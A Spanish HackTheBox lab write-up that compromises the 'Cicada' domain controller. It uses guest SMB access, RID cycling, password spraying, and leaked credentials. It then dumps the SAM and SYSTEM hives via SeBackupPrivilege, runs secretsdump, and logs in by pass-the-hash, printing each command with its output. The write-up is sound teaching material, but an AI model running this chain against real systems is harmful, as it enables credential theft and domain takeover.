the_open_door
café
ESEN

Cicada

HackTheBoxFácilWindows10.10.11.35

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#active-directory#smb#guest-session#rid-cycling#password-spraying#credential-reuse#sebackupprivilege#pass-the-hash#evil-winrm#secretsdump
TL;DR. Cicada es una máquina Windows fácil que recorre, de principio a fin, una cadena clásica de Active Directory sin un solo exploit. Con una sesión guest de SMB leemos un share de RR.HH. con una contraseña por defecto; reconstruimos la lista de usuarios por fuerza bruta de RID y, con un password spray, damos con michael.wrightson. En la descripción de su cuenta aparece la contraseña de david.orelious, que abre el share DEV con un Backup_script.ps1 que filtra las credenciales de emily.oscars. Esta tiene SeBackupPrivilege: volcamos SAM y SYSTEM, sacamos el hash del Administrador con secretsdump y entramos por Pass-the-Hash.

Reconocimiento

Escaneo inicial

El escaneo de servicios devuelve el retrato inconfundible de un controlador de dominio: DNS (53), Kerberos (88 implícito por kpasswd5 en 464), RPC (135), NetBIOS (139), SMB (445), LDAP (389/636) y el catálogo global (3268/3269).

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.35 -oG scan

nmap -p- sobre Cicada: los once puertos del retrato de un DC, todos con syn-ack ttl 127

Not shown: 65524 filtered tcp ports (no-response)
PORT      STATE SERVICE        REASON
53/tcp    open  domain         syn-ack ttl 127
135/tcp   open  msrpc          syn-ack ttl 127
139/tcp   open  netbios-ssn    syn-ack ttl 127
389/tcp   open  ldap           syn-ack ttl 127
445/tcp   open  microsoft-ds   syn-ack ttl 127
464/tcp   open  kpasswd5       syn-ack ttl 127
593/tcp   open  http-rpc-epmap syn-ack ttl 127
636/tcp   open  ldapssl        syn-ack ttl 127
3268/tcp  open  globalcatLDAP  syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
55063/tcp open  unknown        syn-ack ttl 127

Raw packets sent: 131075 (5.767MB) | Rcvd: 25 (1.100KB)

Tres lecturas de esa salida. El syn-ack ttl 127 de la columna REASON confirma Windows a un salto de distancia. El 55063/tcp suelto, muy por encima de 49152, es un puerto RPC dinámico: Windows asigna ahí los endpoints que el mapeador del 135 reparte, y por eso aparece sin nombre. Y Not shown: 65524 filtered (no-response), sin ningún closed, dice que hay un cortafuegos descartando en silencio todo lo que no sea servicio publicado, no una máquina desnuda.

Los once puertos juntos son la huella dactilar de un controlador de dominio: Kerberos (el 464 de kpasswd5 implica el 88), LDAP en claro y sobre TLS (389/636), el catálogo global (3268/3269), DNS (53), RPC (135/593) y SMB (139/445).

La lista de puertos no se copia a mano del -oG: extractPorts, una función del .zshrc, la extrae y la deja en el portapapeles para pegarla en el siguiente escaneo.

extractPorts scan

extractPorts resume el escaneo de Cicada: IP 10.10.11.35 y los once puertos abiertos, copiados al portapapeles

Extracting information ...
IP Address: 10.10.11.35
Open ports: 53,135,139,389,445,464,593,636,3268,3269,55063

Ports copied to clipboard
nmap -p53,135,139,389,445,464,593,3268,3269,55063 -sCV 10.10.11.35

nmap muestra un DC Windows: DNS, RPC, LDAP, SMB, kpasswd y catálogo global, host CICADA-DC dominio cicada.htb

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp  open  ssl/ldap
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
| smb2-security-mode:
|_  Message signing enabled and required

El LDAP nos regala ya el dominio (cicada.htb) y el nombre del DC (CICADA-DC); los añadimos al /etc/hosts. El Message signing enabled and required descarta de salida un relay de SMB.

LDAP anónimo: cerrado

Con el dominio en la mano, la primera prueba barata es si el LDAP contesta sin autenticar. En muchos AD mal configurados una consulta anónima entrega usuarios, grupos y la estructura de OU de una tacada, que es media caja resuelta. Aquí no:

ldapsearch -x -H ldap://10.10.11.35 -D '' -w '' -b "DC=cicada,DC=htb"

ldapsearch anónimo devuelve Operations error: se requiere un bind previo

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090C78, comment: In order to perform this operation
 a successful bind must be completed on the connection., data 0, v4f7c

El 000004DC con "a successful bind must be completed" es la forma que tiene Active Directory de decir que las consultas anónimas están deshabilitadas. Callejón sin salida, pero informativo: si el LDAP está cerrado, la vía tiene que ser SMB.

SMB: de la sesión nula a la sesión guest

Sin credenciales, lo primero es ver qué deja ver SMB. La sesión nula se acepta pero no autoriza nada:

crackmapexec smb 10.10.11.35 -d cicada.htb -u '' -p '' --shares

la sesión nula autentica con el marcador verde de cicada.htb pero falla al enumerar shares con STATUS_ACCESS_DENIED

SMB  10.10.11.35  445  CICADA-DC  [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC)
                                      (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB  10.10.11.35  445  CICADA-DC  [+] cicada.htb\:
SMB  10.10.11.35  445  CICADA-DC  [-] Error enumerating shares: STATUS_ACCESS_DENIED

Conviene no confundir esas dos líneas. El [+] cicada.htb\: significa que el servidor aceptó la sesión (autenticación), y el STATUS_ACCESS_DENIED que esa sesión no tiene permisos para listar recursos (autorización). Son dos capas distintas, y quedarse en el [+] lleva a creer que hay más acceso del que hay. La cabecera regala de paso el inventario: Windows Server 2022 Build 20348, signing:True (nada de relay) y SMBv1:False.

Enumerar usuarios por la sesión nula tampoco funciona:

crackmapexec smb 10.10.11.35 -d cicada.htb -u '' -p '' --users

el intento de --users con sesión nula falla: NTLM needs domain\username and a password

SMB  10.10.11.35  445  CICADA-DC  [-] Error enumerating domain users using dc ip 10.10.11.35:
                                      NTLM needs domain\username and a password
SMB  10.10.11.35  445  CICADA-DC  [*] Trying with SAMRPC protocol

El mensaje es literal: la ruta LDAP de --users exige credenciales de verdad, y el Trying with SAMRPC protocol es el plan B de la herramienta, que tampoco devuelve nada. Con la sesión nula agotada, queda probar la otra cuenta que existe por defecto en cualquier Windows, guest, que a diferencia de la sesión nula sí es un principal con SID:

crackmapexec smb 10.10.11.35 -d cicada.htb -u 'guest' -p '' --shares

con guest se enumeran los shares: HR e IPC$ con permiso READ, además de DEV, NETLOGON y SYSVOL

Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                              Default share
DEV
HR              READ
IPC$            READ            Remote IPC
NETLOGON                        Logon server share
SYSVOL                          Logon server share

HR se puede leer con la cuenta invitada. DEV aparece pero, de momento, sin acceso.

El salto de la sesión nula a guest merece un momento. Para Windows no son lo mismo: la sesión nula es una conexión sin principal, mientras que guest es una cuenta real con SID que pertenece al grupo Everyone. Cualquier ACL que conceda permisos a Everyone (que es exactamente lo que tiene el share HR) se los concede a guest y no a la sesión nula. Por eso una devuelve ACCESS_DENIED y la otra lista todo.

Acceso como michael.wrightson

La nota de RR.HH. y la contraseña por defecto

Montamos HR con smbclient usando guest y dentro hay un único fichero:

smbclient -U guest \\\\10.10.11.35\\HR
smb: \> ls

smbclient con guest lista el share HR: un único fichero, Notice from HR.txt de 1266 bytes

  .                    D        0  Thu Mar 14 13:29:09 2024
  ..                   D        0  Thu Mar 14 13:21:29 2024
  Notice from HR.txt   A     1266  Wed Aug 28 19:31:48 2024

Un solo fichero, de 1266 bytes, y con espacios en el nombre, así que hay que entrecomillarlo al descargarlo:

get "Notice from HR.txt" descarga el fichero de 1266 bytes

smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (3.4 KiloBytes/sec)

el aviso de RR.HH. da la bienvenida al nuevo empleado e indica la contraseña por defecto Cicada$M6Corpb*@Lp#nZp!8

Es una nota de bienvenida que pide al nuevo empleado cambiar su contraseña, y de paso la revela:

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

Esa contraseña va a hacer falta varias veces (el spray, y luego cada validación), así que en vez de teclearla se recorta del propio fichero y se guarda en uno aparte. El awk '{print $5}' toma la quinta palabra de la línea, que es exactamente la contraseña:

cat "Notice from HR.txt" | grep 'password is:' | awk '{print $5}' > ../content/default_password
cat ../content/default_password

el grep y el awk recortan la contraseña de la nota y la guardan en default_password, y el cat lo confirma

Cicada$M6Corpb*@Lp#nZp!8

Guardarla en un fichero no es cosmética: evita que un $ o un ! se los coma la shell al escribirlos entre comillas equivocadas, y permite pasarla luego con -p $(cat default_password).

Tenemos una contraseña, pero no a quién pertenece. La táctica es evidente: conseguir la lista de usuarios del dominio y rociar esta contraseña contra todos, a ver quién no la ha cambiado todavía.

RID cycling: reconstruir la lista de usuarios

La enumeración directa de usuarios sigue capada incluso con guest, así que el --users vuelve a fallar igual que con la sesión nula:

crackmapexec smb 10.10.11.35 -d cicada.htb -u 'guest' -p '' --users

con guest, --users falla con el mismo error de NTLM que la sesión nula

SMB  10.10.11.35  445  CICADA-DC  [+] cicada.htb\guest:
SMB  10.10.11.35  445  CICADA-DC  [-] Error enumerating domain users using dc ip 10.10.11.35:
                                      NTLM needs domain\username and a password

Aquí es donde la enumeración se decide por otra puerta. --users consulta el directorio por LDAP y necesita una autenticación completa; el RID cycling no pregunta por la lista de usuarios, sino que va traduciendo SID a nombre uno por uno a través de la interfaz LSARPC de SMB, y esa traducción sí está disponible para guest. Es la misma información obtenida por un camino que nadie se acordó de cerrar.

crackmapexec smb 10.10.11.35 -d cicada.htb -u 'guest' -p '' --rid-brute 2>/dev/null | grep SidTypeUser

el RID brute lista Administrator, Guest, krbtgt y los usuarios del dominio john.smoulder, sarah.dantelia, michael.wrightson, david.orelious y emily.oscars

500:  CICADA\Administrator   (SidTypeUser)
501:  CICADA\Guest           (SidTypeUser)
502:  CICADA\krbtgt          (SidTypeUser)
1000: CICADA\CICADA-DC$      (SidTypeUser)
1104: CICADA\john.smoulder   (SidTypeUser)
1105: CICADA\sarah.dantelia  (SidTypeUser)
1106: CICADA\michael.wrightson (SidTypeUser)
1108: CICADA\david.orelious  (SidTypeUser)
1601: CICADA\emily.oscars    (SidTypeUser)

La misma línea, encadenada con un par de awk, deja el users.txt listo sin pasar por el editor:

crackmapexec smb 10.10.11.35 -d cicada.htb -u 'guest' -p '' --rid-brute 2>/dev/null \
  | grep SidTypeUser | awk -F'\\' '{print $2}' | awk '{print $1}' > users.txt
cat users.txt

users.txt con las nueve cuentas extraídas del RID brute

Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars

La lista se deja entera a propósito, con las cuentas integradas y hasta el CICADA-DC$ de la máquina. Filtrar a mano solo los nombres de persona parece más limpio, pero descarta información: Administrator es un objetivo legítimo para el spray y una cuenta de equipo puede tener su propia historia. El coste de dejarlas es cuatro intentos más; el de quitarlas, perder un acierto.

Password spraying

Cruzamos la lista de usuarios con la contraseña por defecto. Conviene recordar la salvedad del spray: una sola contraseña contra muchos usuarios evita los bloqueos de cuenta, siempre que la política no cuente también los fallos repartidos.

crackmapexec smb 10.10.11.35 -u users.txt -p default_password 2>/dev/null

el spray devuelve STATUS_LOGON_FAILURE para casi todos salvo michael.wrightson, que sí valida la contraseña por defecto

[-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
[-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
[+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

michael.wrightson todavía usa la contraseña por defecto.

Acceso como david.orelious

Credenciales en el campo descripción

Con unas credenciales válidas, toca volver a enumerar: lo que antes estaba cerrado ahora puede abrirse. Lanzamos enum4linux autenticado como michael y, entre los atributos de las cuentas, aparece algo que no debería estar ahí: la contraseña de david.orelious escrita en su campo descripción.

enum4linux -a -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' 10.10.11.35

enum4linux arranca: falla el workgroup y el nbtstat, pero el Session Check confirma que las credenciales valen

Target ......... 10.10.11.35
RID Range ...... 500-550,1000-1050
Username ....... 'michael.wrightson'

[E] Can't find workgroup/domain
Looking up status of 10.10.11.35
No reply from 10.10.11.35

[+] Server 10.10.11.35 allows sessions using username 'michael.wrightson', password '...'

Vale la pena no asustarse con las dos primeras líneas rojas. El Can't find workgroup/domain y el No reply del nbtstat son consultas NetBIOS por UDP 137, un protocolo antiguo que este Windows Server 2022 ya no atiende; enum4linux es una herramienta de 2011 y sigue intentándolo primero. Lo que importa es el [+] Server allows sessions, que confirma que la credencial es buena y que el resto de módulos van a correr. Un error de una herramienta vieja no es un fallo del ataque.

enum4linux muestra la descripción del usuario david.orelious con su contraseña aRt$Lp#7t*VQ!3 en texto plano

user:[david.orelious] desc:[Just in case I forget my password is aRt$Lp#7t*VQ!3]

El campo descripción es legible por cualquier usuario del dominio: una mala costumbre que aquí nos entrega david.orelious / aRt$Lp#7t*VQ!3.

Shell como emily.oscars

El share DEV y Backup_script.ps1

Las credenciales de david sí abren el share DEV que antes se nos resistía. Dentro hay un script de PowerShell, Backup_script.ps1:

crackmapexec smb 10.10.11.35 -d cicada.htb -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares
smbclient -U david.orelious \\\\10.10.11.35\\DEV -c 'get Backup_script.ps1'

crackmapexec como david.orelious ahora enumera el share DEV con permiso READ, antes inaccesible

SMB  10.10.11.35  445  CICADA-DC  [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB  10.10.11.35  445  CICADA-DC  [+] Enumerated shares
Share       Permissions   Remark
-----       -----------   ------
ADMIN$                    Remote Admin
C$                        Default share
DEV         READ
HR          READ
IPC$        READ          Remote IPC
NETLOGON    READ          Logon server share
SYSVOL      READ          Logon server share

Con david, el share DEV pasa a READ. Y no solo DEV: NETLOGON y SYSVOL también pasan de nada a READ, porque ahora somos un usuario del dominio y no un invitado. Merece la pena anotarlo aunque aquí no se use: SYSVOL es el sitio donde históricamente aparecen los Groups.xml de las preferencias de directiva de grupo con contraseñas cifradas con la clave pública de Microsoft.

Dentro de DEV hay un único fichero:

smbclient -U david.orelious \\\\10.10.11.35\\DEV
smb: \> get Backup_script.ps1

smbclient como david.orelious lista DEV y descarga Backup_script.ps1, de 601 bytes

  Backup_script.ps1    A      601  Wed Aug 28 19:28:22 2024

smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (1.6 KiloBytes/sec)

el script de backup define en claro el usuario emily.oscars y su contraseña Q!3@Lp#M6b*7t*Vt

El script construye una PSCredential con un usuario y una contraseña incrustados en el código:

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ($username, $password)

Otra credencial reutilizable: emily.oscars / Q!3@Lp#M6b*7t*Vt.

evil-winrm y la flag de usuario

A diferencia de las anteriores, emily sí pertenece al grupo de acceso remoto, así que entramos con evil-winrm:

evil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

evil-winrm v3.7 conecta como emily.oscars y el ls de Documents muestra restos de sesiones anteriores

Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> ls
    11/10/2024   9:52 PM     953  Acl-FullControl.ps1
    11/10/2024  10:00 PM   49152  sam.save
    11/10/2024  10:01 PM 18518016 system.save

El aviso de "Remote path completions is disabled" es una limitación conocida de Evil-WinRM, no un problema del objetivo: significa que el tabulador no autocompleta rutas remotas, nada más. Más interesante es el ls: el directorio ya contiene un Acl-FullControl.ps1 y unos sam.save / system.save de hace minutos. En un laboratorio compartido eso es normal y conviene tenerlo presente, porque no todo lo que se encuentra en la máquina lo ha puesto la máquina. Confundir el resto de otra sesión con parte del diseño del reto es una forma clásica de perder una hora, y en un entorno real sería exactamente la señal de que alguien pasó antes por ahí.

sesión de evil-winrm como emily.oscars; en el escritorio leemos user.txt

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> cat user.txt
fb3709cc21eb5dc95cd12d962f6218e9

Shell como Administrator

SeBackupPrivilege: volcar SAM y SYSTEM

Antes de buscar otra credencial, miramos los privilegios de la sesión. Emily tiene SeBackupPrivilege, el privilegio de las copias de seguridad, que permite leer cualquier fichero saltándose las ACL.

whoami /priv

whoami /priv muestra SeBackupPrivilege habilitado para emily.oscars

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

SeBackupPrivilege aparece Enabled. Eso es suficiente para exportar las colmenas del registro que guardan las credenciales locales. Creamos un directorio temporal y volcamos SAM y SYSTEM:

mkdir C:\Temp
reg save hklm\sam C:\Temp\sam
reg save hklm\system C:\Temp\system

El mkdir responde con la ficha del directorio recién creado, que es la confirmación de que la ruta existe antes de escribir nada en ella:

mkdir Temp crea el directorio en la raíz de C: y PowerShell devuelve su ficha con el modo d y la fecha

*Evil-WinRM* PS C:\> mkdir Temp

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d----        11/10/2024  10:43 PM                Temp

reg save exporta hklm\sam y hklm\system a C:\Temp; ambas operaciones completan correctamente

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save hklm\sam C:\Temp\sam
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save hklm\system C:\Temp\system
The operation completed successfully.

Ninguna de las dos colmenas se puede leer con un type normal aunque seas administrador: están abiertas en exclusiva por el kernel. reg save funciona porque no lee el fichero, le pide al servicio de registro que serialice la colmena, y ese servicio es el que consulta SeBackupPrivilege para decidir si tiene derecho a hacerlo.

Los dos ficheros se traen a la máquina atacante con el download que trae Evil-WinRM, sin necesidad de montar un servidor:

download C:\Temp\system /home/kali/cicada/system
download C:\Temp\sam /home/kali/cicada/sam

download de system y sam desde evil-winrm; ambas descargas completan correctamente

Info: Downloading C:\Temp\system to /home/kali/cicada/system
Info: Download successful!
Info: Downloading C:\Temp\sam to /home/kali/cicada/sam
Info: Download successful!

Un ls en el directorio de trabajo confirma que las dos colmenas han aterrizado junto al resto del material de la máquina:

ls

el ls del directorio content muestra Backup_script.ps1, default_password, sam, system y users.txt

Backup_script.ps1  default_password  sam  system  users.txt

secretsdump y Pass-the-Hash

Con las dos colmenas en local, secretsdump usa la bootkey de SYSTEM para descifrar los hashes de SAM:

impacket-secretsdump -sam sam -system system LOCAL

secretsdump descifra el SAM y revela el hash NT del Administrador local

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

No hace falta crackear nada: con el hash NT del Administrador entramos por Pass-the-Hash, pasando el hash en lugar de la contraseña.

evil-winrm -i 10.10.11.35 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341

evil-winrm como Administrator usando el hash NT; leemos root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
a00fbe314d0c3a593fb7bd05f4e8f7d4

pantalla de HackTheBox: Cicada ha sido comprometida

Cadena de ataque

SMB guest (--shares)
   │  share HR  →  Notice from HR.txt  →  contraseña por defecto
   │  --rid-brute  →  lista de usuarios del dominio
   ▼
password spray (1 contraseña × N usuarios)
   │  →  michael.wrightson : Cicada$M6Corpb*@Lp#nZp!8
   ▼
enum4linux autenticado  →  descripción de david.orelious con su contraseña
   ▼
david.orelious  →  share DEV  →  Backup_script.ps1  →  creds de emily.oscars
   ▼
evil-winrm emily.oscars (user.txt)
   │  whoami /priv  →  SeBackupPrivilege
   │  reg save SAM + SYSTEM  →  secretsdump  →  hash NT del Administrador
   ▼
Pass-the-Hash  →  Administrator (root.txt)

Lecciones aprendidas

  • La cuenta guest es una puerta abierta. Con una sesión invitada se listaron shares, se leyó la nota de RR.HH. y se hizo RID cycling para sacar todos los usuarios. Deshabilitar guest y el acceso anónimo habría cortado la cadena en el primer paso.
  • Las contraseñas por defecto se quedan. Bastó con que un empleado (michael) no cambiara la suya para que el spray entrara. Forzar el cambio en el primer inicio de sesión y exigir MFA lo evita.
  • No escribas secretos donde se leen. La contraseña de david estaba en el campo descripción (legible por todo el dominio) y la de emily, incrustada en un script de un share. Las credenciales no van en atributos de LDAP ni en código.
  • SeBackupPrivilege es casi ser administrador. Permite leer SAM/SYSTEM y, con ese volcado, obtener el hash del Administrador para un Pass-the-Hash. Solo debería tenerlo el software de backup, nunca una cuenta de usuario normal.
  • Autenticar no es autorizar. La sesión nula devolvió [+] cicada.htb\: y acto seguido STATUS_ACCESS_DENIED al listar recursos. Quedarse en el [+] hace creer que hay más acceso del que hay: son dos capas distintas y conviene leerlas por separado.
  • Cuando una puerta se cierra, la información suele tener otra. --users falló con sesión nula y con guest porque va por LDAP y exige autenticación completa, pero el RID cycling obtuvo la misma lista traduciendo SID a nombre por LSARPC. Endurecer un protocolo y dejar abierto el de al lado no cierra nada.
  • Un callejón sin salida también acota. El ldapsearch anónimo devolvió In order to perform this operation a successful bind must be completed, es decir, consultas anónimas deshabilitadas. Saberlo descartó toda la vía LDAP y dejó SMB como único camino, que es exactamente para lo que sirve documentar lo que no funciona.
  • Los errores de una herramienta vieja no son fallos del ataque. enum4linux empezó con Can't find workgroup/domain y un nbtstat sin respuesta, porque consulta NetBIOS por UDP 137 y un Windows Server 2022 ya no lo atiende. Lo que valía era el [+] Server allows sessions de la línea siguiente.
Cheatsheet de comandos 23 comandos

Repaso rápido